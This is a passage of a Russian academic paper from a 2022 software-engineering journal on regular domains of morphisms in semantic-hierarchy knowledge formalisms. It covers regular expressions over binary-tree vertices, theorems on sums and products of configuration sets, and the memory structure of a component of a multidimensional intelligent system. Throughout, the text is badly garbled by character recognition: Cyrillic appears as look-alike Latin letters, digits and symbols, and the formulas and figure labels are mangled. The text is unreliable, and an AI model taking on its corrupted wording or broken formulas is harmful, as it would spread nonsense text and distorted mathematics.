K€ KOpH# mocieqHero BxoxaeHus %(E,) B T(E).
O6uiag cxema GOpMUPOBAHUS CI0BA ..o, € U(E)
st caydas k > 0 mpuBemeHa Ha puc. 1.

EcrecTBeHHbI TIpoliecc ocTpoeHus aepeBa T(E)
JUJIS1 TIPOM3BOJILHOI'O PEryJsIpHOroO BhIpaxkeHus E oc-
HOBaH Ha 00X0je 3TOro AepeBa (HalpuMmep, B IINPH-

Puc. 1. ®parmenT aepesa T(E)

Hy). [Ipy 3TOM MOXHO peayin30BaTh IepecueT 3Je-
MeHTOB MHoxecTBa U(E).

Onpeodenenue. I'panuueit U(E) Ha3bIBaeTCs MHO-
KECTBO

B(E) = {o| o c U(E) & 00 ¢ U(E) & ol ¢ U(E)}.

B o6uem ciyuae B(F) < U(E). g BCsIKOTo pe-
TYJISIPHOTO BhIpaxXeHus E MHoxecTBo B(E) — al-
TOPUTMUYECKHU pa3pelinMo OoTHocuTenabHo I. Pa3pe-
IMUMBIMHU OKa3bIBAIOTCSI M MHOTHE IPYTHE CBOMCTBaA
rpaHuUI] MHOXECTB, CBSI3aHHBIX C PETYJISIPHBIMU BbI-
pPakKEeHUSIMU.

5. PerynsipHble fOMeHbl MOp¢U3MOB

Kaxnoe peryisipHoe BbIpaxkeHUe oIpenessieT 00-
nactb namatu U(F) < I. DToii 00jlacTU COOTBET-
cTByeT MHoxXecTBo KoHpurypauuii, I[TCIT koTopsix
COCTaBJIEHBI C UCIIOJb30BAHUEM BEPIIUH U3 MHOXE-
ctBa U(E).

Onpedenenue. TICII koHburypauuum ze M co-
OTBETCTBYET PEryJsipHOMY BbipaxkeHUuIo E, eciau Ajs
BCAKOTro o € O(zZ) BBIIIOJHSIETCS OAHO U3 YCIOBUIA:

1) a e U(E);

2) ae {[31- |ie N&VIiB; c [31-+1)} c [UB)];

3) a =fo, B, o E| U(E) |’
e|UE)].

To ecTb, ecnv KoHpurypalusi Z € M COOTBETCTBY-
€T peryJISIpHOMY BhIpaxkeHHI0 E, TO BUCAYAs BepIIMHA
ICII z

e sBiseTcs anemeHToM U(E);

e SIBJISIETCS BJIEMEHTOM IOCIIeI0BaTETLHOCTH BJIO-
JKEHHBIX IBOMYHBIX HabopoB u3 |U(E)|;

e He npuHamIexut |U(E)|, HO ABIISIeTCS COCETHUM
C 3JIEMEHTOM 3TOT0 MHOXKECTBA.

IIpoBepka yc10BUST BTOPOTO CiIydast IPpUBEIEHHOTO
omnpeiesieHUsT peaju3yeMa ajJroputMuuecku. Ilycts
({0, 1}, O, ¢, gy, D) — KOHe4YHBIl aBTOMAT, PACIO3-
Haroumui cioBa MHoxecTtBa U(FE). 3aech {0, 1} —
BXOomHOU andaBuT; Q — MHOXECTBO COCTOSTHUN;
gy — HayaJbHOE COCTOSIHUE; ¢ — (GYHKLUS U3Me-
HEHUS COCTOSTHU; ) — MHOXECTBO PacIO3HAIOIINX
COCTOSTHMI aBTOMaTta. [IpoBepKa paccMaTpruBaeMoro
YCJIOBU S IO JUarpaMMe IIePeX0oI0B aBTOMAaTa CBOIUT-
¢S K IPOBEPKE CYIIECTBOBaHMSI 6ECKOHEYHOIO IIYTHU
B TaKOI IuarpamMMe, HaUMHAOMIETOCS U3 COCTOSTHUS
o(a, gy), comepxallero 6€CKOHEYHOEe MHOXECTBO
BXOXAECHUU COCTOSIHUM, U3 KOTOPBIX BEAYT NYTU B CO-
crosiHus u3 D.

Ecin ze M COOTBETCTBYET PEryJsipHOMY BBI-
paxeHuo E, To cipaBeIIMBO ClIeoylOlIee CBOWCTBO

rie o {0, 1}, B5 <

"MporpammHas uHxeHepua" Tom 13, Ne 5, 2022

rpaHulbl: o € B(E) N D(z) > a € 0(2).




Onpedenenue. MHOXecTBO B — M HasbiBaeTcs pe-
TYJSPHBIM TOMEHOM, €CJIY CYILLECTBYET TaAKOE PETyJIsIp-
Hoe BeIpaxkeHue E, yto B ={z|z coorBercTByeT E}.

Besakuit peryasipHblil JOMEH SIBJISIETCS aJITOPUTMU-
YEeCKU MEepeuyrcIuMbIM. PeryispHblii ToOMeH 3HaHUM
B 3aJaHHOM (hOpMaIu3Me CeMaHTUIeCKUX UepapXUid,
COOTBETCTBYIOIIUH BhipaxkeHuto E, Oynem o603HaUaTh
kak D(F). Ecnu njomeH MopdU3MOB IMPOCTPAHCTB CeMaH-
TUYECKUX MepapXxuii (hpopMau3MOB 3HAHUI) SBIISIECTCS
peryJasipHbIM, TO opMabHON crienuduKaluein 3Toro
JIOMEHa SIBJISIETCS] pEryyIsipHOe BhlpaxkeHue. PerynsipHbiMu
OKa3bIBAIOTCST JOMEHbI MOP(MU3MOB, TPUMEHSIBLIMXCS MTPU
MOJCJIMPOBaHUHU OTlepaluii B popmaninzmMax ceMaHTUYe-
CKMX MepapXuii, a TAKKeE MPOLIECCOB CUHTE3a peaau3aluii
KOTHUTHUBHBIX Liejeit moaeneit B UC [3].

PaccMoTprM mpuMephl peryIsipHbIX TOMEHOB MOP-
(p13MOB ceMaHTUYECKUX UepaAPXUIA.

1. MuoxectBo M(Z) Bcex snanmii (IICII 3Ha-
HUI) IPOU3BOJBHOro popmMaau3Ma CeMaHTUUYECKUX
Wepapxuii ABIsSIETCS pEeTyJISpHBIM mToMeHOM. Pac-
CMOTPUM peryJisipHoe BbipaxkeHue E = (L u (0, 1)*).
Hnsa storo Beipaxenust U(FE) =1 v moaToMy BcsKas
ze M npunHaanexut D(E). IMockonbky D(8) =T
(6 — mycToe BeIpaxXeHue), TO MyCTOe MHOXECTBO KOH-
urypanuit Takxe sBASETCS PEryJsipHbIM.

2. MHoxecTtBo KoHurypauuin M, (IICIT kondu-
rypaunit %), IICII koTopbeix 00pa3yoT NMOJHBIE OU-
HapHBbIe IepeBbs TNYOUHHI k, k {0, 1,...}, Takxe sIB-
JiseTcs peryasapHbiM. EMy COOTBETCTBYET BhIpakKeHUE,
COCTaBJICHHOE KaK 0O0beIMHEHNE BCEX BHIPAKEHUM,
MIPEACTABISAIONINX BCe TBOMYHBIC HAOOPHI IIMHE K.
B yactHOCTH, MHOXECTBa 37eMeHTapHbIX (M) 1 TIpo-
CThIX (M) 3HAHUN — BTO PEryJSIPHBIE JOMEHHBI.

3. MHoOXecTBO cepuii 3JeMeHTapHbIX 3HaHUI (3a-
UchIBaeTcsl Kak S wim S ® M) KoHburypauuii o6-
pasyeT peryJsipHbIii JOMEH. DTO MHOXECTBO OIpese-
JisieTcsl peryasipHbIM BeipaxkeHueMm (A u (0)*1). MHo-
>KECTBO BEpLUIMH OeCKOHEUHOro oumHapHoro aepera ([/),
npumeHsgembix B IICII cepuii anemeHTapHbIX KOHbU-
rypaluii, COCTaBISIOT BEPIIUMHBI O€CKOHEUHOM JIeBOI
BETBH TOTO JIcpeBa, a TAKXKe TpaBble TOTOMKH BEPIITUH
JaHHOW BeTBUM. MHOXecTBa cepHii 3HAHWI 3aJaHHOU
r1youHsl k € N panee OyoyT o0o3HayaTbest Kak S @ X,
(S ® M,). OHu TaKXKe ABISIOTCS PETYISPHBIMU JIO-
MEHaMMU.

4. OKpeCTHOCTH 3JIeMEHTApHbIX 3HAHU I 3aJaHHOMN
ryouHsl kK € N (Ok) SBJSIIOTCS TOMEHaM U MOp(u3-
MOB. OHM COCTaBISIOT (pparMeHTHI ComepKaHMs 006-
JlacTeil 3HaHUM, U3BJIEKAEMBIX U3 OHTOJIOTUMA TaKUX
obnacreit [4]. PerynsgpHocTh TOMEHA OKpPEeCTHOCTEM
3JIeMEeHTapHbIX 3HAHU I TTYOUHBI 1 (01) JIOKA3bIBAETCS
C TMOMOILIBIO BbIpaxeHus E = (0 u(l(rulu (0)*1))).
I'paHuIily MHOXECTBa JBOMYHBIX HAOOPOB JJ151 TTOCTE-
HEro BbIpaxkeHUsl cocTaBisgoT Hadbopbl 0 u 11, 101,

1001, 10001, ... . Bepmunne 0 € U(F) npunuchiBaioTCs
3JIeMEHTapHbIe KOHMUTYypalMu, 415 KOTOPbIX COCTaB-
JISTI0TCSl OKpecTHOCTU. OcTalibHble HAOOPHI TPaHUILbI
OKPECTHOCTEN COCTAaBJSIIOT BEPIIMHBI, TpeACTaBJsIe-
Mble BeipaxeHuem 1(1 U (0)*1). BepmuuHa 1 siBisieTcst
JIMCTOM B OKPECTHOCTHU JIEMEHTAPHOTO 3HAHU S, eClIn
OKPECTHOCTb HE COIEPXUT 3JEMEHTOB.

PerynsspHOCTh MHOXXECTBA OKPECTHOCTEH 3JIeMEH-
TapHBIX 3HAHUN TTPOM3BOJIBHON ITyOWHBI TOKa3bIBa-
eTcs aHaJIOrM4YHO. [IpuMeHsieMble IJ1s1 TOTO perysip-
HbIe BBIpaXXeHMS 3aJal0T CXeMbl KOHCTPYUPOBAHMUSI
okpecTHocTelt. Tak, Mpu MOCTPOEHUM OKPECTHOCTEM
[IyOUHBI 2 BEPLIMHBI TPAaHULBI (CEpUU) B OKPECT-
HOCTHM BJIEMEHTApHOTI'0 3HAHUS TyOuHBI 1 3aMeHsI -
I0TCSI Ha OKpeCTHOCTHU TnyouHsl 1. PaccmaTpuBae-
MBIi cliyyail peajqu3yeT peryjsipHOe BbipaxXXeHHUE
Oudru@uO@)*1)Oulru(0)*1)))))). Takoe BbI-
paxkeHne (opMHUPYeTCsT KaK TMTPOIOIKEHNE BEIPaKeHU ST
IS OKPECTHOCTH TIIYOUHBI 1, TIpOIOJIsKaeMbIX BhIpa-
JKeHUEeM J15 ellle OJHOU OKpeCTHOCTU I1yOuHbI 1. [Tpu
KOHCTPYMPOBAHUM BBIpaXkeHU M, MPEACTaBISIOMINX
OKPECTHOCTH BO3pacTaloIlel INTYOMHBI, UCIIONb3YeTCs
nHBapuaHTHas 3anuck (0w 1(A U (0)*1)). Dra 3anuck
ornpezaesisieT MHOXEeCTBO HAOOPOB, KOTOPbIE COCTaBJIS-
IOT OKPECTHOCTH IJIyOMHBI 1, 3aMellaronie BepIuHbI
rpaHUILl IPU KOHCTPYUPOBAHUM OKPECTHOCTEN BO3-
pacralolleit TTyOuHBI.

st 0603HaYeHU ST MHOXECTB OKPECTHOCTEN 3Jie-
MEHTapHbIX 3HAHUU MyOuHBl k € N gajiee UCMOJIb-
3YIOTCS CUMBOJIBI O*. OGbennHeHNE BCEX TAKUX
MHOXecCTB OyneT o0o3HavaeTcs Kak 0. KomOnHanuum
CEpUN U OKPECTHOCTEN TTO3BOJISIIOT PACIIUPUTH BO3-
MOXHOCTH OMUCAHUS CTPYKTYP 3HAHUM, CHHTE3UPY-
eMmbIx npoueccamu B MC. OCHOBHBIMU CpelCcTBaAMU
KOMOMHMPOBAHUS TOMEHOB SIBJISIOTCS ONepalnu
MpsAMOl CyMMBI U Mpou3BeneHus. B Monensx a6-
CTpakTHBIX MHOroMepHbiXx MC KoMOMHaLMY JTOMEHOB
COCTaBJISIIOT OCHOBY (POPMATOB OMUCAHUST CTPYKTYP
MaMSITH KOMIOHEeHTOB [2]. DopMaTsl onmpenensaoT
CTPYKTYpPbl 3HAHUI, KOTOPbIE pa3MellalTcs U 00-
pabarsiBatoTcs B mamsitu UC.

Teopema 2. Ecnn MHOXecTBa KOHOUTYypaluii B,
U B, SBASIOTCS PEryjasipHbIMHU, TO MPOU3BEACHUE
(cyMMa) TaKMX MHOXECTB SIBJISIETCSI PEryIsIpHBIM
MHOXECTBOM KOH(MUTYpaInii.

Jlokazameabcmeo. B cnydae, koraa XoTs Obl OTHO
U3 MHOXECTB B| U B, sABJsIeTCS NYyCTbIM — IPOU3-
BelcHUWE U CyMMa 3TUX MHOXECTB paBHbBI MyCTOMY
MHOXECTBY U SIBJISIIOTCS peryaspHbiMu. PaccMoTpum
ciayyail, korna B, u B, — 3To HemycThle peryasp-
Hble MHOXECTBA, KOTOPbIE OMpPEAesIIOTCS C TTOMO-
LIBIO PETYISPHBIX BoIpaxeHuil £, u E,. Torna cymma
B, ® B, npencrasiusercsl peryasipHbIM BbIpaXXeHueM
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0F, U1E,. Ilpoussenenue B, ® B, npencrapiasieTcs
BbIpaxeHueM (E,) o (E,). Hokaszameavcmeo okoHueHo.

KoMOMHanuuuy peryasipHbiX o0jacTeil maMsTu
OIpeaeNsIloTcsl cnenuaibHbiMu hopmyaaMmu. OHU
MO3BOJISIIOT 3aJ]aBaTh CTPYKTYPbhl OpraHU3aluK naMsi-
™1 KoMmnoHeHToB MC. Kaxnast ¢popmyrna onpenensiet
noajepeBo aepeBa I ¢ KopHeM A. Takoe nepeBo MOXeET
OBbITh OECKOHEUHBIM.

ITycth & — mpou3BOJIbLHOE ajredpanyeckoe Bbi-
paxkeHue (KOMMO3UILMS) CepUl 1 OKPECTHOCTEH 2Jie-
MEHTapHBIX 3HaHW . MHOXECTBO JBOMYHBIX HAOOPOB,
HUCIOJIb3yeMbIX B Ka4eCTBE BEPIIMH — JIMCTHEB KOH-
urypauuit, mpeacTaBiasieMbIX 3TUM BBIpakeHHEM,
0003HauuM Kak D(S).

Crenylolllas TeopeMa CBs3aHa C 3ajadeil ucclie-
JIOBaHU S BbIPA3UTEJIbHBIX BO3MOXHOCTEH OMUCAHUS
CTPYKTYP MaMSTH C TIOMOILIbIO PETYJISIPHBIX BbIpaxke-
HUH, COOTBETCTBYIOLIMX KOMOMHAIIMSIM CYMM U TIPO-
U3BEICHUN OKPECTHOCTEW U CEPUIA.

Teopema 3. JIns nwoboii anredbpanyeckoit KoMOu-
HallM¥ OKPECTHOCTEW M Cepuil aJeMeHTapHbIX KOH-
durypanmuit & HaiimeTcs KoHpurypauus Z € M, nns
kotopoit D(z) n D(&) = &.

JHokazamenvcmeo. Ans cepuii (Sl) U OKPECTHOCTEM
(01) 3JIEMEHTapPHBIX 3HAHUM BCAKUI SIPYC C HOMEPOM
k > 2 6eCKOHEYHOI'0 HACHIILIEHHOTO OMHAPHOIO Aepe-
Ba CONEPKUT BEPIIMHY, HE MPUHAIIEKAIYI0 TaKUM
cepusiM (OKPECTHOCTSIM). DTO TaK AJS1 BEpPIIUH U3
COOTBETCTBYIOIIMX SIPYCOB, MPUHAAIEKAIIUX CAMOK
MpaBoil BETBU AepeBa. TaKUMU BepIIMHAMU SIBJISIIOTCS
11 m 111.

Eciu & conmepXuT He MeHee IBYX BXOXIEHU I BbI-
PaXEHUM IJISI CEPUI UJIN OKPECTHOCTEM, TO PaCCMO-
TPUM TOCJEAHION KOMOMHAIMIO oNepaluii, mpumMe-
HEHHYIO TIpY KOHCTpynpoBaHUM &S . JI1 TaKMX BXOXK-

JeHUul cepuii (OKpeCTHOCTEM) B pacCMaTpuBaeMble
BBIPAaXXEHUS BO3MOXEH oIWH n3 ciaydaeB — C, ® C,
mwm C, ® C,.

ITycts paccmarpuBaercd koHcTpykuus C; @ C,.
Haiigerca BeplivHa OMHapHOro aepeBa o€ I aias
C, ie{l, 2}, xoropas He ucnonn3yercs B [1CII KoH-
durypanuii, npencraBumbix ¢ nomouwbo C;. Torma
B KOH(MUTYpalMsx, MpeaAcTaBIsIeMbIX KOMIIO3UIIUEH
C, @ C, He ucnonb3dyetcs BepwnHa Oa, ecnu i = 1,
" lo, ecnm i = 2.

Paccmorpum ciyvaii komnosuunu C; ® C,. Ilycts
o € I — BepuiuHa, He ucnoyib3dyemasi B IICIT kongpu-
rypaiui, npeacrasasieMbix komnosuuueit C,. Ilycts
B = 1..1 — camas OJMHHAas TMOCAeI0BATEeIbHOCTD,
npeacrtasiasiomas sepiinHy B [ICIT koHbUrypanmii,
coorBeTcTByOIINX C;. Torna BepmmHa Po e/ He
npuHaanexuT IICII konpurypauuii, COOTBETCTBY-
ounx C, ® C,.

ITpn KOHCTpyMpOBAaHUU ABOMUYHBIX TOCJEeI0Ba-
TeJIbHOCTEM, HE SIBISIIOLIMXCS BeplIMHAMU KOH(pU-
rypanui, NpeacTaBUMbIX KOMIO3ULIUSIMU OKPECTHO-
CTell U cepuil 3JiIeMeHTapHbIX KOH(GUTYpaLIUil, TIUHBI
MOAXOASIINX MOCJIEIOBATENbHOCTEN 3 BO3pAacTaloOT Ha
He OoJsiee yeM 2 AJIs1 KaXXKI0H CyMMBbl MJIM TPOU3BE-
JIeHus TakuxX KoMOoumHanuii. [ToaToMy, eciu riiyouHa
HEKOTOpOIi ajnredpanyeckoit komonHauuu C paBHa k,
TO IJIMHA JBOMYHOro Habopa, COOTBETCTBYIOIIETO
BepwmHe u3 I, He nmpuHamiexamei [1CIT xonpury-
paiuii, coorBeTcTBylolIMX C, HE MpeBocxoauT 2k + 1.
Zlokazameabcmeo 0KoHUEHO.

ITocnenHee cBOMCTBO KOMOMHALIMU MIPSIMBIX CYMM
U TIPOU3BENCHUN OKPECTHOCTEM M CEpUI BIIEMEH-
TapHbIX KOH(MUTYypalMii MO3BOJISIET YTBEPXKIATh, YTO
KJIaCC PEryJIsSIPHBIX JOMEHOB OMepaluii mupe Kjiaacca
0a3 omepanuii, popMUPYEMBIX U3 TOMEHOB OKPECT-
HOCTEl U cepuil 3JeMeHTapHbIX KOHPUTYpaLuii.

6. KoHcTpynpoBaHue perynsipHbIx
CTPYKTYp NamMATn

IlomHOE CTPYKTYpHOE IIPENCTaBICHUE 3JIEMEHTOB
pPeTyJISIpHBIX TOMEHOB BCSKOro popmMaanzmMa ceMaH-
TUYECKUX UepapXUil COCTABJISIIOT BEPIIMHBI U3 CIIEL M-
aJbHBIX MMOAMHOXeCTB MHOXecTBa . Takue MHOXe-
CTBa COCTaBJISIIOT 00J1acTH I, B KOTOPBIX pa3MellaroTcs
IICIT xoH(purypauuit U3 TaKuxX 10MeHOB. MHOI000-
pa3ue HenmycThIX obyiacTell I, mpeAacTaBsIEeMbIX Pery-
JIIPHBIMY BEIPaXXKeHUSIMU, OTPAaHWYEHO TOAAePEBhIMU
MHoXxecTBa I ¢ KopHeM A. Pacuiupum 3To MHOrO-
o0pasue ¢ MOMOIIbIO NTIepeHOCca KOPHE MoAAepeBbeB
B Mpou3BoJbHbIE o € I. TlycTh F — MpOU3BOJBHOE
peryjasipHOe BbIpaxkeHMUe.

Onpedenenue. MHoxecTBo B c I HasbiBaeT-
csl perylsipHoii ob6nacteio mamatu ([), ecau cy-
IIECTBYET TaKoe peryJisspHOoe BhIpaxeHune E, 4TO
Joae [(B={ap|BelUE)]}.

HaGop o 13 mocienHero onpeaeaeHus sBsieTCs
KOopHeM moaaepeBa aepeBa 1. 1y o003HaYeHUsI pac-
cMaTpMBaeMoll peryisipHoit obiactu I ganee OymeMm
HUCMOJb30BaTh BbipaxeHue D(E, o). O0603HAUUM
MHOTroo0pa3ue BcexX peryasipHbIx oonacteil B [ kak R.
Ero snemeHTamMu sBASIIOTCSE MHOXecTBa [ u . 1O
MHOroo0pasue COCTaBISIIOT 00JIaCTU, MTPUMEHSIEMbIE
najee IS CTPYKTYp MaMsITU KOMIIOHEHTOB MHOIO-
mepHbIX UC.

Onepalyy o0beAMHEHUS U MepeceueHus perysip-
HBIX O0JTacTel (MpUHAAJIEXallUX MHOXECTBY R) MoJe-
JIMPYIOT MHTETPALIMIO U Cy>KEHUE TOMEHOB MOp(hU3-
MOB B (hbopManiu3Max ceMaHTU4YecKUuXx uepapxuit. Eciu
o0bearHSsIeMble 00JIACTU UMEIOT HEMyCTOe nepeceye-
HHE, TO OHU (OPMUPYIOT 00JIACTh ITaMSITU, pacCllu-
psitonryto MHoxecTBO TTCIT koHpurypaiuit, KoTopbie
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MOTYT pa3MellaThcsl B 00J1ACTU KaK 3J€MEHThI OHO-
ro JoMeHa U TpaHCc(OPMUPOBATHCS B 3TOM 00gacTu
B 3HaHU S U3 APYroro AoMmeHa Mop¢hu3MOB 3HAHUIA.
Ilycte D(E, o) "nD(E, B) = T, tie oo =P U B = ay.
Torna nas oonactu D(E, o) U D(E, B) U foOMeHa KOH-
(urypauuii, mpeacTaBUMbIX B 3TOil 00JaCTH, OOIY-
CKaloTcs KOHGUTypalluu, MojydyaeMble 3aMEHOU
¢bparMeHTOB (7), KOHQUTYpALMil, pa3MEIIaeMbIX B
D(E, o), Ha KOH(pUTypaliuu, pa3melliaeMble B obia-

ctu D(FE, B). BuyactHoCcTH, ecnu y € B(FE), To Takas
3aMeHa BbITIOJIHSAeTC 1Jis1 v € O(2).

O0benHeHMS HeTepeceKaloluxcsl odsacteit u3 R
TaKUM CBOMCTBOM He oOiapgaioT. Kondurypauuu,
¢dopMupyeMbie B OTAEIAbHBIX 00JIACTSIX OObEIMHE-
HMSI, COCTaBJISIIOT Mapbl CEMAHTUUYECKUX MEPaApXUId,
pa3MelIeHHbIX B 00beNUHSIEMbIX 007aCTIX, KOTOPbIE
MOTYT paccMaTpuBaThCsl KakK MpsiMble CyMMbl KOH-
urypauuii.

ITIpou3BoOJbHBIE KOMITIO3ULUU PETYJISIPHBIX NO-
MEHOB MOP(MU3MOB ONpenesIioT CTPYKTYPhl MaMsi-
THU KOMIIOHEHTOB MHoromepHbix MC, momyckaroliue
pa3HbBle BapUaHTHI UCIIOJb30BAHUS OTAEJIBHBIX ITOMI-
obacteit mamMsaTu omnepalusIMyu 0o0pabOTKY 3HAHU,
pa3MelraeMbIX B 3Tux obimactsax. Cucrema obacTeit
MpOEeKTUpyeTcsl i BpeMeHU cylecTBoBaHus MC
U MoaAepXHUBaeT pealn3alunio XXKU3HEHHBIX LIUKJIOB
TakKuX cucTteM. Pa3BepThiBaHME CUCTEMbl OMUCAHUN
CHUCTEeMBbl 0o0ylacTeil MaMsTU KOMIIOHEHTOB SIBJISIET-
Cs 4acTblO TEXHOJOrMM ymnpasyieHust moaenasimu UC.
YTouHeHue onucaHUuil CTPYKTYp 00JlacTeil Ha OCHOBE
ONMCAHUS PETYISIPHBIX TOMEHOB CIIOCOOCTBYET 0OJIb-
el cneuranu3anuu 1 3¢ GeKTUBHOCTH aIrOpUTMOB
peanu3aluy orepannii, yYduThIBaIOIINX CTPYKTYPHbBIC
0COO0EHHOCTH 00pabaTbiBaeMbIX 3HAHUIA.

PaccMoTpuM npuMep MoAeIMpOBaHU S TaMsITH AJIs1
KOMITOHEHTa aJITOPUTMUUYECKOTO YPOBHS MOJHOCTbIO
CTPYKTYPUPOBAHHOI'O MPEACTABICHUS COMEPXKaHUS
obnactu 3HaHuii. B nByMepHoii apxutektype MC ¢ us-
MEPEHUSIMU aOCTPaKTHOCTU (noepxHOCMHbIUL — A,
aneopummuyeckuii — B, xkoenumuenwviti — C) U CTPyK-
TYPUPOBAHHOCTU 3HAHUU (yesocmuwvie 06pazvr — 1,
YACMUYHO CIMPYKMYPUPOBAHHbIe — 2 VI HOAHOCHbIO CIPYK-
mypupoeaHusie NN amomapusie — 3) 3TOT KOMIIOHEHT
o0o3HavaeTcs Kak B-3 [2]. Coceau 3Toro KOMNoHeHTa —
KOMITOHEeHTHI A-3, B-2, C-3 (puc. 2).

Ha puc. 2 uzobpaxeH JONOIHUTEIbHBII KOMIIO-
HeHT A-0. OH COOTBETCTBYET BHELIHEMY OKPYKEHU IO
WC unu obnactu 1esiTeIbHOCTH, K KOTOPO OTHOCUT-
cs1 UC. Copepxanue namsaTu A-0 cOCTaBISIIOT pa3HO-
o0pa3Hble TEOPETUYECKUE U SIMIIUPUUYECKIE 3HAHNS,
npeacTaBleHHbIe B (hbopMaTax, MPUHSTHIX B 00JaCTU
3HaHuii. BzaumopeiictBue MC ¢ A-0 ocyluecTBisieT-
cs MOTOKaMU 3HAHUM, peainu3yeMbIMU MEXIY KOM-
noHeHTaMu A-0 1 A-1. B mocienHeM BBIMOJHSETCS

[A-s ]z [ A-2 ]2[ A-1 ]:, A-0
i Ly Tl

= B-1
&=

c-3 = c2 = (i
—1 —1

Puc. 2. KomnoHeHnTsl u CBsi3n KOMNoHeHToB nBymepHoii UC

HavajbHas oO0paboTKa 3HaHUM, nocrymnawiux B UC.
OO0paTHbIi nepeHoc 3HaHui u3 A-1 B A-O peanusyer
o0OMeH pesysabTataMu peanusanuii ueneit MC c A-0.

INoTokm 3HAHWMIT B paccCMaTpUBaeMOM apXUTEKType
OCHOBaHBbI Ha TiepeHoce (PparMeHTOB CoAepPXKaHUS 00-
JlacTel MaMsITU MEXAY COCEAHUMU KOMIIOHEHTaMMU.
BapraHTBI MEXXKOMITOHEHTHBIX TTOTOKOB 3HAHU I U30-
opaxarTcst ctpesikamu. [lpu nepeHoce 3HaHUI BbI-
MoJHsIeTCsT TpaHcdopmauus popmaTta popmanansma
KOMIIOHEHTA IepeaaBaeMoro 3HaHus B ¢opmat ¢op-
MaJin3Ma 3HaHUU CIeAYIOIIero KOMIOHEeHTa [2, 5].

Moaenb HECTPYKTYPUPOBAHHON 00JlacTH MaMSITH
IS KoOMTIoOHeHTa B-3 ompeaensieT ee ¢ MOMOIIbIO BbI-
paxenus D((A v (0,1)*),)). Takas obaacTb coBnagaeT
¢ MHOXecTBOM [. Omepanuu 1 npoueccel B B-3 pea-
JIM3YIOT LIeJIW U3BJICUEHUSI HOBBIX 3HAHU I M3 BXOIHOIO
MOTOKA CTPYKTYPUPOBAHHBIX TAHHBIX, TTOCTYTIAIOIIIE -
ro u3 A-3, pacrno3HaBaHusl U ¢GOpPMUPOBAHUS lieseit
u 3amay, npeanosaramomux pemwenue B UC. Takue
JIaHHbIE U3BJIEKAIOTCSI U3 OMUCAHUI cuTyaluuii B A-0,
nocrynammux B A-1.

CrpykTypy mamsatu B-3 3agalor ciaenyroniue BUIbI
3HAHUM:

1) cepus cepuii IMPOCTHIX 3HAHUM, MPEACTaBIISIIO-
LIMX HayaJIbHbIE JaHHbIE, TTOCIeI0BaTEIbHO 00padaThi-
BaeMBIX B A-1, A-2 n A-3, KoTopbie nepeHocaTcs B B-3;

2) cepust NPOCTHIX 3HAHUI (OHTOJIOTUS TIpEeIMET-
HOIt obGysacTu B popMaTe CEMaAaHTUUYECKUX HMepapxuit
KoMIioHeHTa B-3);

3) cepuu cepuii 3HAaHUH, coaepxkalliue UCXOIHbIE
JlaHHbIE U (parMeHThbl OHTOJIOTUM OOJIACTU 3HAHUMA,
nepeHocuMeblie B B-2 B 1IeisIx peanm3aluy mpoleccoB
pelleHus 3aaay.

O6o3HauumM 3T obaactu Kak D1, D2, D3. Torma
CTpyKTypa namstu B-3 MoxeT ObITh onpesesieHa ¢ rno-
Molibio popmyisl (D1 @ D2) @ D3.

CTpyKTypa KaxJI0oil 0061acTU YTOUHSIET (popMaThl
MIpeACTaBIIeHNs 3HAHWN, YUYUTHIBAIOIINE OTepallny
¢opMuUpoOBaHUS COOTBETCTBYIOUIMX 3HaHUK B B-3.
ITotok 3HaHuMii, moctynamowux B B-3 u3 A-3, co-
CTaBJISIIOT (hparMeHThl BHELIHEH UAU E-OHTOJIOTUU
TeKylllell cuTyalluyd B o0jacTu 3HaHMK. OHU TIpea-
CTaBJISIIOTCSI CEPUSIMU MPOCTBIX 3HAHU I, MOJTyYaeMbIX
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Puc. 3. CtpykTypsl o0aacTeii naMsaTu koMmnonenra B-3

JEKOMIO3UIIMEN OTACNIbHBIX CUTYallMid. Besikas cepus
JOTIOJTHSIETCSI ONTMCAHUEM CBOMCTB CEpUU, paclio3HaH-
HBIX TpU 00paboTKe HavyaJbHbIX JaHHBIX B A-1, A-2
u A-3. 3 oTnenbHBIX CEpUMl cOoCTaBIIsIeTCSl Cepus
cepuit. CTpykTypy o6aactu namsatu D1 aast mocuen-
Hell cepun (M300paxkeHa Ha puc. 3, @) omnpeaeiseT
BbIpaxkKeHue

DAU((AU(0))olo(0uUlo(1u(0)*1))),00).

CuMBOJI oo Ha puc. 3 0003HAUYaeT KOPHEBbIE BEp-
LIMHBI OTAEJbHBIX CEPUI, CUMBOJ  — BEPIIMHBI,
pa3MedyeHHbIe UAeHTU(hUKATOPAMU OTAEIbHbBIX TPYIIIIL.
CuHUMBOJBI ¥ U 6 0603HAYAIOT COOTBETCTBEHHO KOPHU
cepuil MPOCTbIX 3HAHUI U OTAEIbHBIX POCTHIX 3HA-
HUit B Takux cepusix. CTpyKTypa ONMUCaHUU rpymnn
B BepLIMHaX B MOXeT ObITh yciaoxHeHa. Hampuwmep,
€CJIM 3aMEHUTD JIMCThsI CEMAaHTUYECKUX UepapXUil MO-
ToKa u3 A-3 B B-3 Ha cepuu aieMeHTapHbIX 3HAHUA,
COCTaBJISIOLIMX ITPeACTaBIEHUE COAEPXKAHU S 3HAHUI,
MIPUIIHACHIBAEMBIX JTUCTBSIM.

CraHgapTHas CTpYKTypa 00JIaCTU MaMsITU JIJIsI OH-
TOJIOTUMM CONEPXKAHMSI MOEIMPYEMOil 001acTu 3HaHU I
(D2) cOOTBETCTBYET CEpUM MPOCTHIX 3HAHUl. Takue
3HaHUS1 (QOPMUPYIOT OMUCAHUS KJIACCOB BJIeMEHTap-
HbIX 3HAHU I 1 OTHOLIEHU A MEX Y KJIaccaMu, a TaKKe
pa3zneioB oHToJI0ruu. Hampumep, 3To MOTyT OBITH pa3-
JIEJTBI TIPEACTABICHUS CONEPXKAHWS HOHAMULL, 3AKOHO8,
3aday 1 memo0doé B COOTBETCTBYIOILEH 00JacTU 3HaA-
Huil. OTHOLIEHM ST MEXy KJaccaMU JOIYCKalOT Mpu-
HaIJIeXKHOCTh KJIACCOB Pa3HBIM pa3ziesiaM OHTOJIOTHMU.
CogaepXaHue OTAEIBHOIO pa3iesia OHTOJIOTUHU 3a1a€TCs
cepueit MpocThIX 3HaHU M. Takue 3HaHU S TpeACTaBIs-
0T BJIEMEHTHI KJIACCOB M OTHOILIEHU ST MEXIy Kjacca-
Mu. 11 ciydasi, KOraa KJIACChl OTHOCSATCS K Pa3HbIM
00J1aCTSIM OHTOJIOTMU, OTHOLLIGHUS MEXIY KJlaccaMu

MPEenCcTaBASIOTCS B 00JacTU, K KOTOPOW OTHOCHUTCS
